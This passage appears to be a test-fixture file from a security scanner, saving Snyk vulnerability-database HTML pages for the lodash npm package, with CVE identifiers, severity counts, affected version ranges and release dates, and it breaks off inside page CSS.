data-v-415ae652>Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.</p></div></div></div> <div class=\"waves-wrapper\" data-v-415ae652></div></footer></div></div></div><script>window.__NUXT__=(function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w){return {layout:\"default\",data:[{packageManager:{name:\"npm\"},packageName:\"lodash\",packageData:{description:\"Lodash modular utilities.\",vulnerabilities:[{id:\"SNYK-JS-LODASH-1040724\",title:\"Command Injection\",description:h,severity:j,affectedVersions:[{min:f,max:{version:k,inclusive:g}}]},{id:\"SNYK-JS-LODASH-1018905\",title:p,description:h,severity:n,affectedVersions:[{min:f,max:{version:k,inclusive:g}}]},{id:\"SNYK-JS-LODASH-608086\",title:l,description:h,severity:j,affectedVersions:[{min:f,max:{version:q,inclusive:g}}]},{id:\"SNYK-JS-LODASH-567746\",title:l,description:h,severity:j,affectedVersions:[{min:{version:r,inclusive:m},max:{version:s,inclusive:g}}]},{id:\"SNYK-JS-LODASH-450202\",title:l,description:h,severity:j,affectedVersions:[{min:f,max:{version:t,inclusive:g}}]},{id:\"SNYK-JS-LODASH-73639\",title:p,description:h,severity:n,affectedVersions:[{min:f,max:{version:o,inclusive:g}}]},{id:\"SNYK-JS-LODASH-73638\",title:l,description:h,severity:j,affectedVersions:[{min:f,max:{version:o,inclusive:g}}]},{id:\"npm:lodash:20180130\",title:l,description:h,severity:n,affectedVersions:[{min:f,max:{version:u,inclusive:g}}]}],licenses:[{id:\"snyk:lic:npm:lodash:MIT\",spdxLicenseExpression:\"MIT\",coveredVersions:[{min:{version:\"0\",inclusive:m},max:f}]}],latestReleaseVersion:{version:k,publishDate:v},latestNonVulnerableVersion:k,firstPublishedDate:\"2012-04-23T16:37:11.912Z\",versions:[{name:k,publishedAt:v,severitySummary:{critical:a,high:a,medium:a,low:a}},{name:s,publishedAt:\"2020-08-13T16:53:54.152Z\",severitySummary:{critical:a,high:e,medium:e,low:a}},{name:\"4.17.19\",publishedAt:\"2020-07-08T17:14:40.866Z\",severitySummary:{critical:a,high:i,medium:e,low:a}},{name:\"4.17.18\",publishedAt:\"2020-07-08T16:07:27.110Z\",severitySummary:{critical:a,high:i,medium:e,low:a}},{name:q,publishedAt:\"2020-07-08T12:08:37.292Z\",severitySummary:{critical:a,high:i,medium:e,low:a}},{name:\"4.17.16\",publishedAt:\"2020-07-08T10:50:37.915Z\",severitySummary:{critical:a,high:b,medium:e,low:a}},{name:\"4.17.15\",publishedAt:\"2019-07-19T02:28:46.584Z\",severitySummary:{critical:a,high:b,medium:e,low:a}},{name:\"4.17.14\",publishedAt:\"2019-07-10T15:44:39.173Z\",severitySummary:{critical:a,high:b,medium:e,low:a}},{name:\"4.17.13\",publishedAt:\"2019-07-09T22:24:38.453Z\",severitySummary:{critical:a,high:b,medium:e,low:a}},{name:t,publishedAt:\"2019-07-09T21:07:51.647Z\",severitySummary:{critical:a,high:b,medium:e,low:a}},{name:o,publishedAt:\"2018-09-12T18:32:16.141Z\",severitySummary:{critical:a,high:c,medium:e,low:a}},{name:\"4.17.10\",publishedAt:\"2018-04-24T18:07:37.696Z\",severitySummary:{critical:a,high:d,medium:i,low:a}},{name:\"4.17.9\",publishedAt:\"2018-04-24T17:44:40.268Z\",severitySummary:{critical:a,high:d,medium:i,low:a}},{name:u,publishedAt:\"2018-02-04T00:34:41.111Z\",severitySummary:{critical:a,high:d,medium:i,low:a}},{name:\"4.17.4\",publishedAt:\"2016-12-31T22:33:56.623Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.17.3\",publishedAt:\"2016-12-24T14:25:39.754Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.17.2\",publishedAt:\"2016-11-16T07:21:41.106Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.17.1\",publishedAt:\"2016-11-15T07:03:25.950Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.17.0\",publishedAt:\"2016-11-14T07:00:08.291Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.6\",publishedAt:\"2016-11-01T06:38:07.989Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.5\",publishedAt:\"2016-10-31T06:49:14.797Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.4\",publishedAt:\"2016-10-06T15:13:30.196Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.3\",publishedAt:\"2016-10-03T16:43:31.571Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.2\",publishedAt:\"2016-09-26T03:11:05.302Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.1\",publishedAt:\"2016-09-20T16:59:53.967Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.16.0\",publishedAt:\"2016-09-19T14:59:14.886Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.15.0\",publishedAt:\"2016-08-12T14:39:28.783Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.14.2\",publishedAt:\"2016-08-08T15:35:49.019Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.14.1\",publishedAt:\"2016-07-29T14:49:10.278Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.14.0\",publishedAt:\"2016-07-24T18:40:58.495Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.13.1\",publishedAt:\"2016-05-23T15:59:05.944Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.13.0\",publishedAt:\"2016-05-23T05:07:23.403Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.12.0\",publishedAt:\"2016-05-08T19:25:43.826Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.11.2\",publishedAt:\"2016-05-02T15:01:02.189Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.11.1\",publishedAt:\"2016-04-14T07:21:23.548Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.11.0\",publishedAt:\"2016-04-13T15:32:30.507Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.10.0\",publishedAt:\"2016-04-11T14:43:56.586Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.9.0\",publishedAt:\"2016-04-08T15:22:34.228Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.8.2\",publishedAt:\"2016-04-05T02:15:16.661Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.8.1\",publishedAt:\"2016-04-04T15:43:49.109Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.8.0\",publishedAt:\"2016-04-04T14:54:33.612Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.7.0\",publishedAt:\"2016-03-31T15:46:33.373Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.6.1\",publishedAt:\"2016-03-02T18:09:40.696Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.6.0\",publishedAt:\"2016-03-02T03:24:37.179Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.5.1\",publishedAt:\"2016-02-22T06:42:24.244Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.5.0\",publishedAt:\"2016-02-17T08:39:42.533Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.4.0\",publishedAt:\"2016-02-16T07:10:16.856Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.3.0\",publishedAt:\"2016-02-08T08:57:19.880Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.2.1\",publishedAt:\"2016-02-03T16:00:16.046Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.2.0\",publishedAt:\"2016-02-02T08:50:17.287Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:r,publishedAt:\"2016-01-29T16:33:24.543Z\",severitySummary:{critical:a,high:d,medium:b,low:a}},{name:\"4.0.1\",publishedAt:\"2016-01-25T16:06:17.924Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"4.0.0\",publishedAt:\"2016-01-12T23:13:20.539Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.10.1\",publishedAt:\"2015-08-04T06:05:06.887Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.10.0\",publishedAt:\"2015-06-30T15:13:28.602Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.9.3\",publishedAt:\"2015-05-26T01:47:44.058Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.9.2\",publishedAt:\"2015-05-24T20:57:57.973Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.9.1\",publishedAt:\"2015-05-19T21:00:20.625Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.9.0\",publishedAt:\"2015-05-19T18:26:55.450Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.8.0\",publishedAt:\"2015-05-01T15:45:44.760Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.4.2\",publishedAt:\"2015-04-26T21:04:49.443Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.7.0\",publishedAt:\"2015-04-16T15:47:35.770Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.0.2\",publishedAt:\"2015-03-30T15:58:01.337Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.6.0\",publishedAt:\"2015-03-25T15:36:29.983Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.5.0\",publishedAt:\"2015-03-09T05:01:51.264Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.4.0\",publishedAt:\"2015-03-06T16:44:06.018Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.3.1\",publishedAt:\"2015-02-24T16:02:47.458Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.3.0\",publishedAt:\"2015-02-20T17:08:28.864Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.2.0\",publishedAt:\"2015-02-12T17:01:18.403Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.1.0\",publishedAt:\"2015-02-03T16:53:35.795Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.0.1\",publishedAt:\"2015-01-30T09:33:51.621Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"3.0.0\",publishedAt:\"2015-01-26T15:09:31.198Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.4.1\",publishedAt:\"2013-12-03T16:51:12.879Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.4.0\",publishedAt:\"2013-11-26T19:40:30.164Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.3.0\",publishedAt:\"2013-11-11T17:30:27.058Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.2.1\",publishedAt:\"2013-10-03T18:29:30.163Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.2.0\",publishedAt:\"2013-09-29T21:52:47.266Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.1.0\",publishedAt:\"2013-09-23T05:57:42.595Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"2.0.0\",publishedAt:\"2013-09-14T04:22:28.159Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.3.1\",publishedAt:\"2013-09-04T14:25:40.429Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.3.0\",publishedAt:\"2013-09-04T14:25:19.793Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.2.1\",publishedAt:\"2013-09-04T14:24:58.381Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.2.0\",publishedAt:\"2013-09-04T14:24:34.140Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.1.1\",publishedAt:\"2013-09-04T14:24:07.907Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.1.0\",publishedAt:\"2013-09-04T14:23:45.728Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.0.1\",publishedAt:\"2013-08-31T05:16:47.715Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.0.0\",publishedAt:\"2013-08-31T05:11:42.645Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.0.0-rc.3\",publishedAt:\"2013-08-31T05:08:51.705Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.0.0-rc.2\",publishedAt:\"2013-08-31T05:05:31.147Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"1.0.0-rc.1\",publishedAt:\"2013-08-31T05:00:28.060Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.10.0\",publishedAt:\"2013-08-31T04:56:09.871Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.9.2\",publishedAt:\"2013-08-31T04:52:21.307Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.9.1\",publishedAt:\"2013-08-31T04:49:15.754Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.9.0\",publishedAt:\"2013-08-31T04:46:20.474Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.8.2\",publishedAt:\"2012-10-10T07:51:31.600Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.8.1\",publishedAt:\"2012-10-04T08:53:29.540Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.8.0\",publishedAt:\"2012-10-02T06:49:38.116Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.7.0\",publishedAt:\"2012-09-11T16:24:07.425Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.6.1\",publishedAt:\"2012-08-30T08:01:38.808Z\",severitySummary:{critical:a,high:c,medium:b,low:a}},{name:\"0.6.0\",publishedAt:\"2012-08-28T16:01:09.459Z\",severitySummary:{critical:a,high:c,medium:b,low:a}}],totalVersions:114}}],fetch:{},error:f,serverRendered:m,routePath:\"\\u002Fpackage\\u002Fnpm\\u002Flodash\",config:{SEGMENT:{enabled:m,key:\"LXBRTjNx7YkZnd7ZtYyVSWNlMtRSH6sg\"},SPLITSIGNAL:{enabled:g,id:\"af6f72c8-a7af-45f3-b4a3-8b932c185d06\",debugMode:w},ENVIRONMENT:w,MARKETING_SITE_HOST:\"https:\\u002F\\u002Fsnyk.io\",_app:{basePath:\"\\u002F\",assetsPath:\"\\u002F_nuxt\\u002F\",cdnURL:f}}}}(0,3,4,5,1,null,false,\"\",2,\"high\",\"4.17.21\",\"Prototype Pollution\",true,\"medium\",\"4.17.11\",\"Regular Expression Denial of Service (ReDoS)\",\"4.17.17\",\"4.1.0\",\"4.17.20\",\"4.17.12\",\"4.17.5\",\"2021-02-20T15:42:16.891Z\",void 0));</script><script src=\"/_nuxt/93175d7.js\" defer></script><script src=\"/_nuxt/ef6d428.js\" defer></script><script src=\"/_nuxt/e28ec5e.js\" defer></script><script src=\"/_nuxt/e59929a.js\" defer></script><script src=\"/_nuxt/6c1a212.js\" defer></script><script src=\"/_nuxt/fe1dece.js\" defer></script><script src=\"/_nuxt/64d0c54.js\" defer></script><script src=\"/_nuxt/74535e1.js\" defer></script><script src=\"/_nuxt/56b97f8.js\" defer></script>\n  </body>\n</html>\n"
  },
  {
    "path": "boefjes/tests/examples/snyk-vuln2.html",
    "content": "\n<!doctype html>\n<html data-n-head-ssr lang=\"en\" data-n-head=\"%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D\">\n  <head >\n    <title>Command Injection in lodash | CVE-2021-23337 | Snyk</title><meta data-n-head=\"ssr\" charset=\"utf-8\"><meta data-n-head=\"ssr\" name=\"viewport\" content=\"width=device-width, initial-scale=1\"><meta data-n-head=\"ssr\" http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"><meta data-n-head=\"ssr\" http-equiv=\"x-ua-compatible\" content=\"ie=edge\"><meta data-n-head=\"ssr\" data-hid=\"og:title\" property=\"og:title\" content=\"Snyk Vulnerability Database | Snyk\"><meta data-n-head=\"ssr\" property=\"og:locale\" content=\"en_US\"><meta data-n-head=\"ssr\" property=\"og:type\" content=\"website\"><meta data-n-head=\"ssr\" property=\"og:url\" content=\"https://security.snyk.io/\"><meta data-n-head=\"ssr\" property=\"og:image\" content=\"https://res.cloudinary.com/snyk/image/upload/v1468845142/logo/snyk-avatar.png\"><meta data-n-head=\"ssr\" property=\"og:image:width\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:height\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:alt\" content=\"Snyk Vulnerability Database\"><meta data-n-head=\"ssr\" property=\"og:image:type\" content=\"image/png\"><meta data-n-head=\"ssr\" name=\"twitter:card\" content=\"summary_large_image\"><meta data-n-head=\"ssr\" name=\"twitter:site\" content=\"@snyksec\"><meta data-n-head=\"ssr\" name=\"twitter:creator\" content=\"@snyksec\"><meta data-n-head=\"ssr\" data-hid=\"description\" name=\"description\" content=\"High severity (7.2) Command Injection in lodash | CVE-2021-23337\"><meta data-n-head=\"ssr\" data-hid=\"og:url\" property=\"og:url\" content=\"https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724\"><meta data-n-head=\"ssr\" data-hid=\"og:site_name\" property=\"og:site_name\" content=\"Learn more about npm with Snyk Open Source Vulnerability Database\"><meta data-n-head=\"ssr\" data-hid=\"og:description\" property=\"og:description\" content=\"High severity (7.2) Command Injection in lodash | CVE-2021-23337\"><meta data-n-head=\"ssr\" data-hid=\"twitter:title\" name=\"twitter:title\" content=\"Command Injection in lodash | CVE-2021-23337 | Snyk\"><meta data-n-head=\"ssr\" data-hid=\"twitter:description\" name=\"twitter:description\" content=\"High severity (7.2) Command Injection in lodash | CVE-2021-23337\"><base href=\"/\"><link data-n-head=\"ssr\" rel=\"icon\" sizes=\"192x192\" href=\"https://snyk.io/favicon.png\"><link data-n-head=\"ssr\" rel=\"shortcut icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"apple-touch-icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&amp;display=swap\"><link data-n-head=\"ssr\" rel=\"canonical\" href=\"https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724\"><script data-n-head=\"ssr\" data-hid=\"json_ld_breadcrumb\" type=\"application/ld+json\">{\"@context\":\"http://schema.org\",\"@type\":\"BreadcrumbList\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"item\":{\"name\":\"Snyk Vulnerability Database\",\"@id\":\"https://security.snyk.io/vuln\"}},{\"@type\":\"ListItem\",\"position\":2,\"item\":{\"name\":\"npm\",\"@id\":\"https://security.snyk.io/vuln/npm\"}},{\"@type\":\"ListItem\",\"position\":3,\"item\":{\"name\":\"lodash\"}}]}</script><script data-n-head=\"ssr\" data-hid=\"json_ld_faq\" type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"FAQPage\",\"inLanguage\":\"en-US\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"How to fix?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"&lt;p&gt;Upgrade &lt;code&gt;lodash&lt;/code&gt; to version 4.17.21 or higher.&lt;/p&gt;\\n\"}}]}]}</script><link rel=\"preload\" href=\"/_nuxt/93175d7.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/64d0c54.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/74535e1.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/56b97f8.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/cdceec7.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/e28ec5e.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/e59929a.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/a176eca.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/ef6d641.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/83b1d99.js\" as=\"script\"><style data-vue-ssr-id=\"79562cab:0 bc9488b0:0 6c1715b0:0 5474b757:0 d0bd84d6:0 338b4d83:0 5a592308:0 0377c397:0 42b4269a:0 f6ebc83c:0 7a942c2a:0 8773814e:0 a8ef8092:0 b201d506:0 0f274faf:0 1cb1ed1c:0 20fc7a6a:0 df68bb3a:0 49555e5f:0 2afa21a2:0 44f1d518:0 1d0c703e:0 3a5539dc:0 cb360912:0 777359f5:0 6ab05980:0 02ef3527:0 a57a8ce2:0 12a03586:0 29f96e92:0 04f15ee9:0 0a923106:0 0c720733:0 55c3b144:0 b0aa9140:0 42e8f28e:0 23f9a731:0 325e47a8:0 5b0cc504:0 205026a2:0 648901ea:0\">a,abbr,area,article,aside,audio,b,bdo,blockquote,body,button,canvas,caption,cite,code,col,colgroup,datalist,dd,del,details,dfn,dialog,div,dl,dt,em,embed,fieldset,figure,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,i,iframe,img,input,ins,kbd,keygen,label,legend,li,map,mark,menu,meter,nav,noscript,object,ol,optgroup,option,output,p,param,pre,progress,q,rp,rt,ruby,samp,section,select,small,span,strong,sub,sup,table,tbody,td,textarea,tfoot,th,thead,time,tr,ul,var,video{background:transparent;border:0;font:inherit;font-size:100%;margin:0;outline:none;padding:0;text-align:inherit;text-decoration:none;vertical-align:baseline;z-index:auto}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:\"\";content:none}table{border-collapse:collapse;border-spacing:0}abbr,abbr[title]{text-decoration:none}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff) format(\"woff\");font-style:normal;font-weight:400}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff) format(\"woff\");font-style:italic;font-weight:400}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff) format(\"woff\");font-style:normal;font-weight:500}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff) format(\"woff\");font-style:italic;font-weight:500}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff) format(\"woff\");font-style:normal;font-weight:700}.highlight{background-color:#99e4ff}.dimmed{color:#727184}.critical-severity{color:#ad1a1a}.high-severity{color:#cc4f19}.medium-severity{color:#d68100}.low-severity{color:#86859d}*{box-sizing:border-box}svg:not(:root){display:inline-block;fill:currentColor;overflow:hidden;vertical-align:middle}.margin--xxxl{margin:85.3333333333px}.margin-top--xxxl{margin-top:85.3333333333px}.margin-right--xxxl{margin-right:85.3333333333px}.margin-bottom--xxxl{margin-bottom:85.3333333333px}.margin-left--xxxl{margin-left:85.3333333333px}@media only screen and (min-width:40em){.margin--xxxl{margin:128px}.margin-top--xxxl{margin-top:128px}.margin-right--xxxl{margin-right:128px}.margin-bottom--xxxl{margin-bottom:128px}.margin-left--xxxl{margin-left:128px}}.margin--xxl{margin:42.6666666667px}.margin-top--xxl{margin-top:42.6666666667px}.margin-right--xxl{margin-right:42.6666666667px}.margin-bottom--xxl{margin-bottom:42.6666666667px}.margin-left--xxl{margin-left:42.6666666667px}@media only screen and (min-width:40em){.margin--xxl{margin:64px}.margin-top--xxl{margin-top:64px}.margin-right--xxl{margin-right:64px}.margin-bottom--xxl{margin-bottom:64px}.margin-left--xxl{margin-left:64px}}.margin--xl{margin:32px}.margin-top--xl{margin-top:32px}.margin-right--xl{margin-right:32px}.margin-bottom--xl{margin-bottom:32px}.margin-left--xl{margin-left:32px}@media only screen and (min-width:40em){.margin--xl{margin:48px}.margin-top--xl{margin-top:48px}.margin-right--xl{margin-right:48px}.margin-bottom--xl{margin-bottom:48px}.margin-left--xl{margin-left:48px}}.margin--l{margin:21.3333333333px}.margin-top--l{margin-top:21.3333333333px}.margin-right--l{margin-right:21.3333333333px}.margin-bottom--l{margin-bottom:21.3333333333px}.margin-left--l{margin-left:21.3333333333px}@media only screen and (min-width:40em){.margin--l{margin:32px}.margin-top--l{margin-top:32px}.margin-right--l{margin-right:32px}.margin-bottom--l{margin-bottom:32px}.margin-left--l{margin-left:32px}}.margin--m{margin:16px}.margin-top--m{margin-top:16px}.margin-right--m{margin-right:16px}.margin-bottom--m{margin-bottom:16px}.margin-left--m{margin-left:16px}@media only screen and (min-width:40em){.margin--m{margin:24px}.margin-top--m{margin-top:24px}.margin-right--m{margin-right:24px}.margin-bottom--m{margin-bottom:24px}.margin-left--m{margin-left:24px}}.margin--default{margin:10.6666666667px}.margin-top--default{margin-top:10.6666666667px}.margin-right--default{margin-right:10.6666666667px}.margin-bottom--default{margin-bottom:10.6666666667px}.margin-left--default{margin-left:10.6666666667px}@media only screen and (min-width:40em){.margin--default{margin:16px}.margin-top--default{margin-top:16px}.margin-right--default{margin-right:16px}.margin-bottom--default{margin-bottom:16px}.margin-left--default{margin-left:16px}}.margin--s{margin:8px}.margin-top--s{margin-top:8px}.margin-right--s{margin-right:8px}.margin-bottom--s{margin-bottom:8px}.margin-left--s{margin-left:8px}@media only screen and (min-width:40em){.margin--s{margin:12px}.margin-top--s{margin-top:12px}.margin-right--s{margin-right:12px}.margin-bottom--s{margin-bottom:12px}.margin-left--s{margin-left:12px}}.margin--xs{margin:5.3333333333px}.margin-top--xs{margin-top:5.3333333333px}.margin-right--xs{margin-right:5.3333333333px}.margin-bottom--xs{margin-bottom:5.3333333333px}.margin-left--xs{margin-left:5.3333333333px}@media only screen and (min-width:40em){.margin--xs{margin:8px}.margin-top--xs{margin-top:8px}.margin-right--xs{margin-right:8px}.margin-bottom--xs{margin-bottom:8px}.margin-left--xs{margin-left:8px}}.margin--xxs{margin:2.6666666667px}.margin-top--xxs{margin-top:2.6666666667px}.margin-right--xxs{margin-right:2.6666666667px}.margin-bottom--xxs{margin-bottom:2.6666666667px}.margin-left--xxs{margin-left:2.6666666667px}@media only screen and (min-width:40em){.margin--xxs{margin:4px}.margin-top--xxs{margin-top:4px}.margin-right--xxs{margin-right:4px}.margin-bottom--xxs{margin-bottom:4px}.margin-left--xxs{margin-left:4px}}.margin--xxxs{margin:1.3333333333px}.margin-top--xxxs{margin-top:1.3333333333px}.margin-right--xxxs{margin-right:1.3333333333px}.margin-bottom--xxxs{margin-bottom:1.3333333333px}.margin-left--xxxs{margin-left:1.3333333333px}@media only screen and (min-width:40em){.margin--xxxs{margin:2px}.margin-top--xxxs{margin-top:2px}.margin-right--xxxs{margin-right:2px}.margin-bottom--xxxs{margin-bottom:2px}.margin-left--xxxs{margin-left:2px}}.scoped,body,button,html,input,textarea{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400;color:inherit;line-height:1.4;font-feature-settings:\"pnum\"}html,input,textarea{color:#555463}h1,h2{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h2{font-size:1.5rem}h3{font-size:1.25rem;line-height:1.8}h3,h4,h5,h6{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500}h4,h5,h6{font-size:1rem}h1,h2,h3,h4,h5,h6{color:#1c1c21}a{cursor:pointer;text-decoration:none}a,a:hover{color:#4b45a1}a:hover{text-decoration:underline}p{margin:12px 0}p:first-child{margin-top:0}p:last-child{margin-bottom:0}strong{font-weight:500}em{font-style:italic}hr{background-color:#d3d3d9;border:none;display:block;height:1px}ol{margin:0;padding:0 0 0 1em;list-style:decimal;font-feature-settings:\"pnum\"}ol li{margin:8px 0}ul{margin:0;padding:0 0 0 1em;list-style:disc;font-feature-settings:\"pnum\"}ul li{margin:8px 0}.footnote{font-style:italic;color:#727184;font-size:.875rem}img{max-width:100%}code{background-color:rgba(85,84,99,.1);border-radius:4px;font-family:\"Consolas\",\"Monaco\",\"Andale Mono\",\"Ubuntu Mono\",monospace;font-feature-settings:\"pnum\";font-variant:proportional-nums;font-size:90%;padding:2px 4px;white-space:pre}p code{white-space:pre-wrap}@media only percy{.hide-in-percy{display:none!important}}.table{margin-bottom:12px;width:auto}.table tr{border:none}.table td,.table th{font-size:1rem;letter-spacing:0;line-height:1.65;text-transform:none;color:#555463;padding:0;vertical-align:top}.table th{font-weight:500}.table--basic th{text-align:left}.table--basic td,.table--basic th{padding-right:12px}.table--small td,.table--small 